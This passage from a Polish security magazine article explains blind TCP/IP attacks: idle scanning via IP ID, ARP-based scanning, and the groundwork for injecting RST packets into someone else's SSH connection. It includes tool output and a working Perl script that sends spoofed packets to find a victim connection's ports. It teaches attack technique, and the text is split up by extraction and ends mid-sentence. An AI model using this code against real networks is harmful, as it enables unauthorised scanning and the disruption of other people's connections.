śli pomiędzy kolejnymi odpowiedzia-
mi pole ID zwiększy się wyłącznie
o jeden, oznacza to, że nasz pakiet nie
spowodował wysłania odpowiedzi.

Metoda skanowania za pomo-

cą tej techniki praktycznie narzu-

ca się sama. Skoro jesteśmy w sta-
nie zbadać, czy dany host wysłał pa-
kiet, czy nie, można to wykorzystać
do badania reakcji komputera B na
informacje, które wyśle mu kompu-
ter A. Można więc zastosować kla-
syczny SYN-SCAN fałszując adres
źródłowy. Zastanawiając się, jakie
informacje może odesłać A, docho-
dzimy do wniosku, że zachodzą dwa
przypadki:

• jeżeli skanowany port jest otwar-

ty, komputer odeśle pakiet z usta-
wionymi flagami SYN i ACK. Pa-

kiet tak sformatowany spowodu-
je odesłanie przez B odpowiedzi
z ustawioną flagą RST, ponieważ
B nie zażądał nawiązania połą-
czenia,

• jeżeli skanowany port jest za-

mknięty, komputer odeśle pa-
kiet z ustawioną flagą RST lub
w ogóle nic nie odeśle, jeżeli
komputer jest odpowiednio skon-
figurowany.

W przypadku A jesteśmy w stanie
wykryć odesłanie odpowiedzi, na-
tomiast w przypadku B jesteśmy
w stanie wykryć jej brak. Skanowa-
nie będzie więc polegało na wysła-
niu pakietu testującego do B, pakietu
ze sfałszowanym adresem źródło-
wym do A oraz ponownie pakie-
tu testującego. Warto tutaj słowem
komentarza opatrzyć dwie rzeczy:
ograniczenia czasowe oraz imple-
mentację tej techniki w programie
NMAP. Biorąc pod uwagę ograni-
czenia czasowe, należy zaważyć,
że czas pomiędzy dwoma kolejny-
mi próbami nie może być krótszy
niż RTT pomiędzy A oraz B powięk-
szonym o czas odpowiedzi B (tak
dla pewności). Jeżeli nasze próby
będą zbyt częste, dojdzie do prze-
kłamań w wynikach, ponieważ od-
powiedź od A nie zdąży spowodo-
wać odesłania odpowiedzi przez B.
Możliwa jest również optymaliza-

Terminologia

• Tryb promisc karty sieciowej – cytując za Wikipedią: Tryb pracy interfejsu sie-

ciowego (np. ethernetowej karty sieciowej), polegający na odbieraniu całego
ruchu docierającego do karty sieciowej, nie tylko skierowanego na adres MAC
karty sieciowej
.

• Host zombie – komputer w podsieci skanera wykorzystywany jako przykrywka w

skanowaniu.

• RFC – z ang. Request for Comment. Cytując z polskiej Wikipedii: Zbiór technicz-

nych oraz organizacyjnych dokumentów mających formę memorandum, związa-
nych z Internetem oraz sieciami komputerowymi. Każdy z nich ma przypisany uni-
kalny numer identyfikacyjny, zwykle używany przy wszelkich odniesieniach. Pu-
blikacją RFC zajmuje się Internet Engineering Task Force. Dokumenty nie mają
mocy oficjalnej, jednak niektóre z nich zostały później przekształcone w oficjalne
standardy sieciowe, np. opis większości popularnych protokołów sieciowych zo-
stał pierwotnie opisany właśnie w RFC.

• Fingerprinting – technika skanowania pozwalająca na odkrycie wersji systemu

operacyjnego, polegająca na badaniu szczególnych cech pakietów przychodzą-
cych od skanowanego komputera.

Tabela 2.

Porty źródłowe używane przez poszczególne systemy operacyjne

System operacyjny Zaobserwowany port

źródłowy

Użycie kolejnego portu

Cisco 12.2(8)

11000

Zwiększ o 1

Cisco 12.1(5)

48642

Zwiększ o 512

Cisco 12.0(7)

23106

Zwiększ o 512

Cisco 12.0(8)

11778

Zwiększ o 512

Windows 2000
5.00.2195 SP4

1038/1060

Zwiększ o 1

Windows 2000
5.00.2195 SP3

1060

Zwiększ o 1

Windows XP Home
Edition SP1

1050

Zwiększ o 1

Windows Vista

49158

Zwiększ o 1

Linux 2.4.18

32770

Zwiększ o 1

Linux 2.6.22

32768-61000, 1024-
4999

Zwiększ o 1*

* dla danego adresu docelowego

background image

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

23

cja tej techniki i minimalizacja licz-
by prób kierowanych z C do hosta
zombie (czyli B). Program NMAP
wysyła nie jeden, lecz N pakietów
z adresem źródłowym równym B
i docelowym A. Jeżeli żaden z por-
tów nie jest otwarty, to kolejne testy
IP ID powinny różnić się o N.

Technika ta zaimplementowana

jest w programie NMAP. Aby wyko-
nać skanowanie tego typu, należy
na komputerze C wydać polecenie
przedstawione na Listingu 5.

Skanowanie portów

wykorzystujące ARP

Skoro już mowa o skanowaniu
ukrytym, nie sposób pominąć ska-
nowania wykorzystującego pakiety
żądania ARP. Technika ta również
polega na zaobserwowaniu, które
pakiety wzbudzają odpowiedź po
dotarciu do ofiary, a które nie. Jed-
nym z takich przypadków są pakie-
ty z ustawioną flagą FIN. Wysłanie
pakietu z ustawioną flagą FIN na
otwarty port nie powinno spowo-
dować wygenerowania odpowiedzi.
Jeżeli port jest zamknięty, kompu-
ter odpowiada pakietem z ustawio-
nymi flagami RST, ACK.

W przypadku systemów z Red-

mond dzieje się inaczej, ponieważ
nie ma znaczenia, czy port jest
otwarty czy zamknięty – Windows
zawsze odpowie na taki pakiet pa-
kietem z ustawioną flagą RST,
ACK. Można w celu skanowania
wykorzystać również klasyczny
SYN-SCAN, jeżeli na docelowym
komputerze firewall odrzuca pakie-
ty SYN skierowane do zamknię-
tych portów. Technika skanowania
wymaga, aby skanowany kompu-
ter znajdował się w innej sieci niż
podsieć skanera. Skanowanie jest
ślepe, ponieważ wysyłając pakiety
zmieniamy adres źródłowy pakie-
tu na adres komputera nieistnieją-
cego lub aktualnie niepracującego
w naszej podsieci. Jeżeli skanowa-
na maszyna odpowie, router łączą-
cy naszą sieć będzie próbował za-
mienić fałszywy adres IP z naszej
podsieci na adres fizyczny przy po-
mocy protokołu ARP. Nie powinno
to nastręczać szczególnych proble-

mów, gdyż zapytania ARP wysyła-
ne są do wszystkich komputerów
w podsieci. Nasłuchując odpowie-
dzi ARP, skanujący komputer jest
w stanie określić, czy testowany
port jest otwarty, czy też nie.

Atak RST na

ustanowione połączenie

A co, jeśli chcemy dla zestawione-
go połączenia przeprowadzić atak
RST (np. podobny do tego, który zo-
stał przedstawiony w hakin9 2/2007

Listing 1.

Fragmentacja pakietu o wielkości 5000B

IP

(

id

2067

,

offset

0

,

length

1500

)

172.16

.

83.1

>

172.16

.

83.129

:

ICMP

echo

request

,

id

49943

,

seq

1

,

length

1480

IP

(

id

2067

,

offset

1480

,

length

1500

)

172.16

.

83.1

>

172.16

.

83.129

:

icmp

IP

(

id

2067

,

offset

2960

,

length

1500

)

172.16

.

83.1

>

172.16

.

83.129

:

icmp

IP

(

id

2067

,

offset

4440

,

length

588

)

172.16

.

83.1

>

172.16

.

83.129

:

icmp

Listing 2.

Badanie sekwencji IP ID systemu Windows Vista

#hping2 172.16.83.128 -r -c 5

HPING

172.16

.

83.128

(

eth0

172.16

.

83.128

):

NO

FLAGS

are

set

,

40

headers

+

0

data

bytes

len

=

40

ip

=

172.16

.

83.128

ttl

=

128

DF

id

=

348

sport

=

0

flags

=

RA

seq

=

0

win

=

0

rtt

=

0.2

ms

len

=

40

ip

=

172.16

.

83.128

ttl

=

128

DF

id

=+

1

sport

=

0

flags

=

RA

seq

=

1

win

=

0

rtt

=

0.2

ms

len

=

40

ip

=

172.16

.

83.128

ttl

=

128

DF

id

=+

1

sport

=

0

flags

=

RA

seq

=

2

win

=

0

rtt

=

0.2

ms

len

=

40

ip

=

172.16

.

83.128

ttl

=

128

DF

id

=+

1

sport

=

0

flags

=

RA

seq

=

3

win

=

0

rtt

=

0.3

ms

len

=

40

ip

=

172.16

.

83.128

ttl

=

128

DF

id

=+

1

sport

=

0

flags

=

RA

seq

=

4

win

=

0

rtt

=

0.2

ms

Listing 3.

Badanie sekwencji IP ID systemu Linux

#hping2 172.16.83.129 -r -c 5

HPING

172.16

.

83.129

(

eth0

172.16

.

83.129

):

NO

FLAGS

are

set

,

40

headers

+

0

data

bytes

len

=

40

ip

=

172.16

.

83.129

ttl

=

64

DF

id

=

0

sport

=

0

flags

=

RA

seq

=

0

win

=

0

rtt

=

0.5

ms

len

=

40

ip

=

172.16

.

83.129

ttl

=

64

DF

id

=+

0

sport

=

0

flags

=

RA

seq

=

1

win

=

0

rtt

=

0.1

ms

len

=

40

ip

=

172.16

.

83.129

ttl

=

64

DF

id

=+

0

sport

=

0

flags

=

RA

seq

=

2

win

=

0

rtt

=

0.1

ms

len

=

40

ip

=

172.16

.

83.129

ttl

=

64

DF

id

=+

0

sport

=

0

flags

=

RA

seq

=

3

win

=

0

rtt

=

0.1

ms

len

=

40

ip

=

172.16

.

83.129

ttl

=

64

DF

id

=+

0

sport

=

0

flags

=

RA

seq

=

4

win

=

0

rtt

=

0.2

ms

Listing 4.

Wpływ pakietów wysyłanych przez poszczególne hosty na

używane IP ID

#hping2 172.16.83.128 -1 -r -c 5

HPING

172.16

.

83.128

(

eth0

172.16

.

83.128

):

icmp

mode

set

,

28

headers

+

0

data

bytes

len

=

28

ip

=

172.16

.

83.128

ttl

=

128

id

=

1372

icmp_seq

=

0

rtt

=

0.2

ms

len

=

28

ip

=

172.16

.

83.128

ttl

=

128

id

=+

3

icmp_seq

=

1

rtt

=

0.2

ms

len

=

28

ip

=

172.16

.

83.128

ttl

=

128

id

=+

3

icmp_seq

=

2

rtt

=

0.3

ms

len

=

28

ip

=

172.16

.

83.128

ttl

=

128

id

=+

3

icmp_seq

=

3

rtt

=

0.2

ms

len

=

28

ip

=

172.16

.

83.128

ttl

=

128

id

=+

3

icmp_seq

=

4

rtt

=

0.3

ms

hping2

172.16

.

83.129

-

1

-

r

-

c

5

HPING

172.16

.

83.129

(

eth0

172.16

.

83.129

):

icmp

mode

set

,

28

headers

+

0

data

bytes

len

=

28

ip

=

172.16

.

83.129

ttl

=

64

id

=

6967

icmp_seq

=

0

rtt

=

0.2

ms

len

=

28

ip

=

172.16

.

83.129

ttl

=

64

id

=+

1

icmp_seq

=

1

rtt

=

0.9

ms

len

=

28

ip

=

172.16

.

83.129

ttl

=

64

id

=+

1

icmp_seq

=

2

rtt

=

0.1

ms

len

=

28

ip

=

172.16

.

83.129

ttl

=

64

id

=+

1

icmp_seq

=

3

rtt

=

0.1

ms

len

=

28

ip

=

172.16

.

83.129

ttl

=

64

id

=+

1

icmp_seq

=

4

rtt

=

0.5

ms

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

24

przez Marcina Ulikowskiego)? Pozo-
staje jedynie technika pasywnego
nasłuchiwania interesującego nas
ruchu i wstrzyknięcie we właściwym
momencie odpowiednio sformatowa-
nego pakietu. Budowa protokołów
TCP oraz IP oraz połączenie techni-
ki aktywnego i pasywnego skanowa-
nia umożliwia częściowe obejście te-
go problemu.

Kolejnym interesującym fak-

tem – oprócz analizy IP ID – bę-
dzie zachowanie się hostów biorą-
cych udział w konwersacji na dodat-
kowe niespodziewane pakiety. Za-
łóżmy, że ustanowiliśmy połączenie
SSH z komputera A do kompute-
ra B. Po stronie komputera A został
użyty port 49160 do połączenia się
z komputerem B na port 22. Wysy-
łając pakiety z komputera C będzie-
my chcieli empirycznie sprawdzić,
czy komputer A używa portu 49160.
Czytając RFC nr 793, można się na-
tknąć na interesującą sytuację opi-
saną na stronie 34. Autorzy RFC
opisują w niej zachowanie protoko-
łu TCP w przypadku, gdy jedna ze
stron zgubiła połączenie. W RFC
znajdziemy również opis zachowa-
nia w innych interesujących sytu-
acjach – kiedy host otrzyma pakiet
należący do nieistniejącego połą-
czania oraz kiedy dostanie pakiet
SYN-ACK należący do połączenia.

Zachowanie w wyżej wymie-

nionych trzech sytuacjach można
opisać następującym przykładem:
komputer C wysyła pakiet z ustawio-
nym adresem źródłowym komputera
B i adresem docelowym komputera
A. Port docelowy jest równy porto-
wi usługi SSH, natomiast port źró-
dłowy ustawiony jest na port, któ-
ry chcemy odkryć (port X). Jedyną
ustawiona flagą TCP jest SYN. Wy-
słanie takiego pakietu do B zgod-
nie z RFC spowoduje odesłanie
w kierunku źródła pakietu z ustawio-
nymi flagami SYN-ACK jeżeli pakiet
nie należał do konwersacji oraz
ACK przeciwnym przypadku. Po do-
tarciu pakietu do A możliwe są dwie
sytuacje. Jeśli pakiet należy do kon-
wersacji A-B i zawiera jedynie flagę
ACK, nic nie jest odsyłane. Pakiet
nienależący do żadnego połączenia

Interesujące pola IP i TCP

Pole ID protokołu IP wykorzystywane jest przy defragmentacji przychodzących pakie-
tów. Dla każdego wysłanego pakietu posiada unikalną wartość. Jeżeli pakiet zostanie
sfragmentowany przez pośredniczący router, pole ID pozostanie niezmienione i takie
samo w obrębie wszystkich fragmentów. W procesie fragmentacji bierze udział rów-
nież adres źródłowy pakietu, pole fragment offset oraz dwa bity - DF i MF pola nastę-
pującego po IP ID. Pierwszy bit – DF – zezwala lub zabrania fragmentacji. Bit MF jest
ustawiony na 1 dla pierwszego i kolejnych fragmentów pakietu oraz na 0 dla ostatnie-
go fragmentu. Pole fragment offset pozwala określić pozycję danego fragmentu w ory-
ginalnym pakiecie. Pole to ma 13 bitów, co przy maksymalnej wielkości pakietu IP rów-
nej 0xFFFF powoduje, że najmniejszy fragment ma 8 bajtów.

Na przykład dla MTU równego 1500 wysłanie pakietu ICMP ECHO o wielkości

5000 bajtów (w sumie 5008 po doliczeniu nagłówka ICMP) będzie widziane tak, jak
na Listingu 1.

Pola TCP SEQ oraz TCP ACK są licznikami. Pierwszy z nich liczy bajty wysłane,

a drugi potwierdzane. Doprecyzowując, TCP SEQ określa pozycję aktualnie wysyła-
nej paczki danych w całym strumieniu, natomiast druga wartość określa, który bajt po-
chodzący od drugiej strony poprawnie przetworzyliśmy. Wspominając o SEQ i ACK
nie można pominąć pola Window Size, które określa, ile danych strona ustawiająca tę
wartość jest w stanie odebrać.

Listing 5.

Uruchomienie skanera NMAP z opcją Idle Scanning

#nmap -sI 172.16.83.128 172.16.83.129

WARNING

:

Many

people

use

-

P0

w

/

Idlescan

to

prevent

pings

from

their

true

IP

.

On

the

other

hand

,

timing

info

Nmap

gains

from

pings

can

allow

for

faster

,

more

reliable

scans

.

Starting

Nmap

4.20

(

http

:

//

insecure

.

org

)

at

2007

-

10

-

01

04

:

46

CEST

Idlescan

using

zombie

172.16

.

83.128

(

172.16

.

83.128

:

80

);

Class

:

Incremental

Interesting

ports

on

172.16

.

83.129

:

Not

shown

:

1694

closed

|

filtered

ports

PORT

STATE

SERVICE

22

/

tcp

open

ssh

23

/

tcp

open

telnet

113

/

tcp

open

auth

MAC

Address

:

00

:

30

:

4F

:

A1

:

65

:

0

A

Nmap

finished

:

1

IP

address

(

1

host

up

)

scanned

in

16.124

seconds

Listing 6.

Wpływ poprawnych i niepoprawnych pól portów źródłowych

na wysyłane dane

02

:

02

:

57.810075

IP

172.16

.

83.128

.

49160

>

172.16

.

83.129

.

ssh

:

S

1218938372

:

1218938372

(

0

)

win

512

02

:

02

:

57.810253

IP

172.16

.

83.129

.

ssh

>

172.16

.

83.128

.

49160

:

.

ack

1768219816

win

4512

<

nop

,

nop

,

sack

1

{

3745685853

:

3745685854

}

>

02

:

02

:

59.392821

IP

172.16

.

83.128

.

49160

>

172.16

.

83.129

.

ssh

:

S

605303214

:

605303214

(

0

)

win

512

02

:

02

:

59.392933

IP

172.16

.

83.129

.

ssh

>

172.16

.

83.128

.

49160

:

.

ack

1

win

4512

<

nop

,

nop

,

sack

1

{

3132050695

:

3132050696

}

>

02

:

03

:

03.406027

IP

172.16

.

83.128

.

49161

>

172.16

.

83.129

.

ssh

:

S

1540719811

:

1540719811

(

0

)

win

512

02

:

03

:

03.406145

IP

172.16

.

83.129

.

ssh

>

172.16

.

83.128

.

49161

:

S

4169466566

:

4169466566

(

0

)

ack

1540719812

win

5840

<

mss

1460

>

02

:

03

:

03.406466

IP

172.16

.

83.128

.

49161

>

172.16

.

83.129

.

ssh

:

R

1540719812

:

1540719812

(

0

)

win

0

02

:

03

:

04.314936

IP

172.16

.

83.128

.

49161

>

172.16

.

83.129

.

ssh

:

S

1240411569

:

1240411569

(

0

)

win

512

02

:

03

:

04.315065

IP

172.16

.

83.129

.

ssh

>

172.16

.

83.128

.

49161

:

S

4170366716

:

4170366716

(

0

)

ack

1240411570

win

5840

<

mss

1460

>

02

:

03

:

04.315275

IP

172.16

.

83.128

.

49161

>

172.16

.

83.129

.

ssh

:

R

1240411570

:

1240411570

(

0

)

win

0

background image

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

25

powoduje podjęcie przez komputer
A próby zerwania nieistniejącego
połączenia A-B pakietem z ustawia-
ną flagą RST.

Przechwytując ruch programem

tcpdump, powinniśmy uzyskać coś
podobnego do zawartości Listingu 6.
Znaczenie poszczególnych pól jest
następujące:

• czas IP adres źródłowy.port

–> adres docelowy.port: flagi,

SEQ _ P:SEQ _ O

(liczba bajtów) [ack

ACK] rozmiar okna <opcje>,

• pole

SEQ _ P:SEQ _ O

określa, jakie

są numery sekwencyjne przesy-
łanych bajtów.

Test polegał na wysłaniu czterech pa-
kietów: dwóch należących do połą-
czenia A-B oraz dwóch, które do nie-
go nie należały.

Prosty program wykrywający port

użyty przez maszynę A przedstawio-
ny jest na Listingu 7. Przykładowe wy-
wołanie programu ma postać:

./discover _ ports.pl -s 172.16.83.1 -d
172.16.83.129 -sp 22 -vi 172.16.83.128

Program zwróci w miarę dokładną li-
stę portów źródłowych użytych w ko-
munikacji A-B:

Found ports: 45474 45730 49160 51885

W celu przeprowadzenia udane-
go ataku RST należy jeszcze zdo-
być dodatkową informację. A mia-
nowicie numery sekwencyjne uży-
te dla połączenia przez komputer A
lub B. Do odkrycia są de facto dwie
liczby – liczniki bajtów w połączeniu
serwera SSH oraz klienta. W celu
sprawdzenia jednego z owych liczni-
ków zastosujemy ponownie sztuczkę
z IP ID. Najpierw należy jednak zro-
zumieć, do czego służą flagi ACK
I SEQ protokołu TCP.

Załóżmy, że host B otrzymuje

pakiet. Pole SEQ tego pakietu jest
licznikiem bajtów komputera A i po-
winno się mieścić w tzw. oknie od-
biorczym komputera odbierające-
go wiadomość (w tym przypad-
ku A). Okno odbiorcze jest warto-
ścią ograniczającą liczbę pakietów,

Listing 7a.

Program, który odkryje porty używane w komunikacji A-B

#!/usr/bin/perl

use

Net

::

Pcap

;

use

Net

::

RawIP

;

use

NetPacket

::

Ethernet

qw

(:

strip

);

use

NetPacket

::

ICMP

;

use

Getopt

::

Long

qw

(

GetOptions

);

use

NetPacket

::

IP

;

use

FileHandle

;

use

threads

;

use

threads

::

shared

;

use

Time

::

HiRes

;

STDOUT

->

autoflush

(

1

);

my

$

my_ip

,$

server_ip

,$

server_port

,$

victim_ip

;

my

$

opt

=

1

;

my

$

promisc

=

1

;

my

$

snaplen

=

68

;

my

(

$

err

,$

net

,$

mask

,$

dev

,$

filter_t

);

my

@

probes_array

;

share

(

@

probes_array

);

GetOptions

(

"s=s"

=>

\$

my_ip

,

"d=s"

=>

\$

server_ip

,

"sp=s"

=>

\$

server_port

,

"vi=s"

=>

\

$

victim_ip

,

)

or

uzycie

();

uzycie

()

if

not

$

server_ip

;

my

$

dev

=

rdev

(

$

server_ip

);

my

$

filter

=

"src host $victim_ip"

;

my

$

my_id_cnt

=

0

;

my

$

my_id_prb_cnt

=-

1

;

my

@

ports_to_scan

=

(

[

0

,

65535

]

);

my

@

found_ports

;

share

(

@

found_ports

);

my

$

thread

=

threads

->

create

(

'

start_probing

',

undef

);

die

if

(

not

defined

$

thread

);

if

(

(

Net

::

Pcap

::

lookupnet

(

$

dev

, \$

net

, \$

mask

, \$

err

)

)

==

-

1

)

{

die

"Net::Pcap::lookupnet failed. Error was $err"

;

}

my

$

pcap_t

=

Net

::

Pcap

::

open_live

(

$

dev

, $

snaplen

, $

promisc

, $

to_ms

, \$

err

);

$

pcap_t

||

die

"Can't create packet descriptor. Error was $err"

;

if

(

Net

::

Pcap

::

compile

(

$

pcap_t

, \$

filter_t

, $

filter

, $

opt

, $

net

)

==

-

1

)

{

die

"Unable to compile filter string '$filter'

\n

"

;

}

Net

::

Pcap

::

setfilter

(

$

pcap_t

, $

filter_t

);

Net

::

Pcap

::

loop

(

$

pcap_t

,

-

1

, \

&

callback

, \@

x

);

sub

start_probing

{

my

$

rtt_tuned

=

0.20

;

my

$

outcond

=

0

;

print

"RTT autotune. Starting from: $rtt_tuned

\n

"

;

while

(

$

outcond

==

0

)

{

local

$

i

=

0

;

for

(

$

client_port

=

1

;

$

client_port

<

100

;

$

client_port

++)

{

send_probe

();

send_testing_packet

();

Time

::

HiRes

::

sleep

(

$

rtt_tuned

);

}

{

lock

(

@

found_ports

);

if

(

scalar

(

@

found_ports

)>=

5

)

{

$

rtt_tuned

=

$

rtt_tuned

*

2

;

$

outcond

=

1

;

last

;

}

undef

@

found_ports

;

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

26

które – w analizowanym przypadku
– może na raz odebrać host A. Po-
le ACK pakietu pochodzącego od B
określa, który pakiet wysłany z A zo-
stał poprawnie odebrany i przetwo-
rzony.

Aby to zobrazować, prześledźmy

przykładową komunikację C z A. Na
komputerze C została wydana ko-
menda telnet A. Część wymiany pa-
kietów pokazuje Listing 8., w którym
dla uproszczenia usunięto niektóre
dane drukowane przez tcpdump.

W celu ustanowienia połącze-

nia wymieniane są pakiety od nu-
meru 1 do 3. Jest to klasyczny przy-
kład trzystopniowego uzgadnia-
nia numerów sekwencyjnych. War-
to jednak zauważyć, że pakiety
z ustawioną flagą SYN (numer se-
kwencyjny=3157436274) druga stro-
na potwierdza numerem ACK (pa-
kiet numer 2) o jeden większym
(3157436275) – tak, jakby poprzed-
ni pakiet niósł jeden dodatkowy bajt
danych. Daje to nam pewność do-
starczenia numerów synchroniza-
cyjnych do drugiej strony. Komunika-
cja C->A zaczyna się od pakietu nu-
mer 4 świadczącego o wysłaniu 27
bajtów danych. Bajty te są potwier-
dzane przez A w pakiecie numer 5,
w którym pole ACK jest równe po-
lu SEQ pakietu numer 4 powiększo-
nemu o 27 bajtów danych. Pakiet nu-
mer 6 jest odpowiedzią hosta A skła-
dającą się z 3 bajtów danych. Od-
powiedź hosta A jest potwierdzana
w pakiecie numer 7. I tak dalej.

Dzięki takiemu mechanizmo-

wi oba komputery posiadają wiedzę
o danych, które dotarły do drugiego
komputera i danych, które wymaga-
ją retransmisji. Naszym celem bę-
dzie wysłanie pakietu, który będzie
miał licznik tak ustawiony, aby cały
pakiet został zinterpretowany przez
ofiarę jako poprawny.

Na pierwszy rzut oka wyda-

je się, że należy bardzo dokładnie
odgadnąć oba te liczniki. Dla ce-
lu przeprowadzania ataku RST na
system Vista jest to prawda, jed-
nak odkrycie przedziału numerów
akceptowanych przez B nie wy-
maga już takiej precyzji. Gdyby nie
był dopuszczony pewien margines

Listing 7b.

Program, który odkryje porty używane w komunikacji A-B

}

$

rtt_tuned

=

$

rtt_tuned

/

2

;

print

"RTT: coud do beter: trying $rtt_tuned

\n

"

;

if

(

$

rtt_tuned

<=

0.005

)

{

$

outcond

=

1

;

last

;

}

}

undef

@

found_ports

;

print

"RTT established at: $rtt_tuned

\n

"

;

sleep

(

1

);

while

(

scalar

(

@

ports_to_scan

)!=

0

)

{

my

(

$

port_begin

,$

port_end

)

=

@

{

pop

(

@

ports_to_scan

)

}

;

print

"Scanning from/to: $port_begin,$port_end

\n

"

;

for

(

$

client_port

=

$

port_begin

;

$

client_port

<=

$

port_end

;

$

client_port

++)

{

send_probe

();

send_testing_packet

();

Time

::

HiRes

::

sleep

(

$

rtt_tuned

)

if

(

$

rtt_tuned

>

0.0005

);

}

}

print

"Found ports: @found_ports

\n

"

;

}

sub

send_probe

{

my

$

rawip

=

Net

::

RawIP

->

new

(

{

icmp

=>

{}}

);

$

rawip

->

set

(

{

ip

=>

{

saddr

=>

$

my_ip

,

daddr

=>

$

victim_ip

,

}

,

icmp

=>

{

type

=>

8

,

id

=>

NetPacket

::

htons

(

$

my_id_cnt

)

,

sequence

=>

NetPacket

::

htons

(

$

my_id_cnt

)

,

data

=>

timem

()

}

}

);

$

rawip

->

send

();

{

lock

(

@

probes_array

);

push

(

@

probes_array

,$

my_id_cnt

);

}

$

my_id_cnt

=

0

if

(++

$

my_id_cnt

>=

65536

);

}

sub

send_testing_packet

{

my

$

rawip

=

Net

::

RawIP

->

new

(

{

ip

=>

{

saddr

=>

$

victim_ip

,

daddr

=>

$

server_ip

}

,

tcp

=>

{

dest

=>

$

server_port

,

source

=>

$

client_port

,

psh

=>

1

,

syn

=>

1

}}

);

$

rawip

->

send

();

{

lock

(

@

probes_array

);

push

(

@

probes_array

, $

client_port

);

}

if

(

$

client_port

%

100

==

0

)

{

print

"Probed client port: $client_port

\n

"

;

}

background image

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

27

błędu, pakiety, które przyszłyby
w złej kolejności, byłyby odrzucane
– znacząco degradując prędkość
połączenia.

Aby umożliwić odbieranie pa-

kietów, które przychodzą w różnej
kolejności, protokół TCP wprowa-
dził pojęcie okna. De facto istnieją
trzy okna: nadawcze, unikania za-
toru (tzw. congestion window) i od-
biorcze. Oknem congestion nie bę-
dziemy się zajmować. Okno nadaw-
cze związane jest poniekąd z oknem
congestion, natomiast okno odbior-
cze określa, ile dany host mo-
że przyjąć danych na raz (lub pa-
trząc od strony nadawcy – ile mo-
że on wysłać danych, które odbior-
ca jest w stanie przetworzyć). Roz-
miar okna odbiorczego jest komuni-
kowany nadawcy podczas ustana-
wiania połączenia i modyfikowany
w zależności od warunków panu-
jących w sieci. Służy do tego celu
specjalne, 16-bitowe pole protokołu
TCP o nazwie window i znajdujące
się 208 bitów od początku nagłów-
ka TCP. Łatwo zauważyć, że 16 bi-
tów ogranicza maksymalną wielkość
okna do 65535, co jest niewystar-
czające przy osiągach obecnych sie-
ci. Z pomocą przychodzi mechanizm
skalowania okna, którego dane – ja-
ko dodatkowe pole – doklejane są do
nagłówka w fazie ustalania połącze-
nia. Pozwala on przeskalować okno
o maksymalnie 2^14 bajtów powodu-
jąc, że dopuszczalny rozmiar okna
urasta do 1GB. Duże znaczenie ma
również domyślny rozmiar okna, któ-
ry jest inny dla każdego z systemów.
Przykładowe rozmiary okien poka-
zane są w Tabeli 1.

Warto również wiedzieć, że Win-

dows Vista używał w przeprowa-
dzonym teście współczynnika ska-
lowania okna równego 8 – co ozna-
cza, że rozmiar okna jest równy 8192
pomnożone przez 256 (2^8), nato-
miast współczynnik skalowania okna
w systemie Linux wynosił od 2 do 4.
Oczywiście nie można zakładać, że
jest to regułą.

Jak wcześniej zostało wspo-

mniane, numer sekwencyjny kom-
putera A zostanie odkryty poprzez
testowanie IP ID komputera z zain-

Listing 7c.

Program, który odkryje porty używane w komunikacji A-B

}

sub

received_probe_pacet

{

my

(

$

raw_data

)

=

@

_

;

my

$

id

,$

dest_port

;

my

$

id

,$

port_scanned

,$

last_id

;

$

ip

=

NetPacket

::

IP

->

decode

(

eth_strip

(

$

raw_data

));

my

(

$

icmp_type

,$

icmp_code

,$

icmp_chsum

,$

icmp_id

,$

icmp_seqnum

,$

icmp_data

)

=

unpack

(

"CCnnna*"

,$

ip

->

{

data

}

);

{

lock

(

@

probes_array

);

if

(

scalar

(

@

probes_array

)>=

3

)

{

$id = shift (@probes _ array);

$

dest_port

=

shift

(

@

probes_array

);

$

last_id

=

$

probes_array

[

0

];

if

(

$

last_id

!=

$

icmp_id

)

{

$

outofsync

=

1

;

while

((

scalar

(

@

probes_array

)>=

3

)

&&

(

$

outofsync

==

1

))

{

$

id

=

shift

(

@

probes_array

);

$

dest_port

=

shift

(

@

probes_array

);

$

last_id

=

$

probes_array

[

0

];

if

(

$

last_id

==

$

icmp_id

)

{

$

outofsync

=

0

;

}

}

}

}

}

if

(

$

my_id_prb_cnt

==

$

ip

->

{

id

}

)

{

push

@

found_ports

,$

dest_port

;

}

$

expected_ip_id

=

$

icmp_id

+

1

;

$

my_id_prb_cnt

=

$

ip

->

{

id

}

;

$

my_id_prb_cnt

++;

}

sub

analyze_packet

{

my

(

$

raw_data

)

=

@

_

;

$

ip

=

NetPacket

::

IP

->

decode

(

eth_strip

(

$

raw_data

));

if

(

$

ip

->

{

proto

}

==

NetPacket

::

IP

::

IP_PROTO_ICMP

)

{

$

icmp

=

NetPacket

::

ICMP

->

decode

(

NetPacket

::

IP

::

strip

(

$

raw_data

));

if

(

$

icmp

->

{

code

}

==

ICMP_ECHOREPLY

)

{

received_probe_pacet

(

$

raw_data

);

}

}

}

sub

callback

{

my

(

$

args

,$

header

,$

packet

)

=

@

_

;

analyze_packet

(

$

packet

);

}

sub

uzycie

{

print

"$0 -s my-ip -d server-ip -sp server_port -vi victim-ip

\n

"

;

exit

-

1

;

}

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

28

stalowanym systemem Windows Vi-
sta. Aby uzmysłowić sobie, jak te-
go dokonać, należy zaobserwować,
co się dzieje w przypadku, gdy da-
ny host otrzyma pakiet z numerem
SEQ spoza okna odbiorczego (patrz
Listing 9).

Host B wysyła numer sekwen-

cyjny ostatnio odebranego bajtu.
Istotne jest to, że wysyłając zwięk-
sza licznik IP ID, który możemy od-
czytać poznaną wcześniej metodą.
Jeżeli numer SEQ jest w oknie od-
biorczym hosta B, to nie odeśle on
nam żadnej odpowiedzi. Warto nad-
mienić, że wykrywanie numerów se-
kwencyjnych jest procesem szyb-
szym niż wykrywanie portów, ponie-
waż wysyłając pakiety do B nie mu-
simy się przejmować RTT pomiędzy
A oraz B. Nie musimy ponadto prze-
szukiwać pełnego zakresu (czyli od
0 od 2^32-1), ponieważ host B uzna
za poprawny numer sekwencyjny
z zakresu, którego się spodziewa.
Można więc przyjąć pewien począt-
kowy rozmiar okna równy N=64K
i przeszukać cały zakres numerów
sekwencyjnych zwiększając SEQ
o 64K. Jeżeli nie uda się nam zna-
leźć okna odbiorczego, to – jak su-
geruje jedno ze źródeł – ustalamy
SEQ=N/2+I*N dla każdego I. Je-
żeli w dalszym ciągu nie znajdzie-
my okna, ustalamy SEQ=N/4+I*N/2
i postępujemy podobnie.

Jeżeli uda nam się wpaść w okno

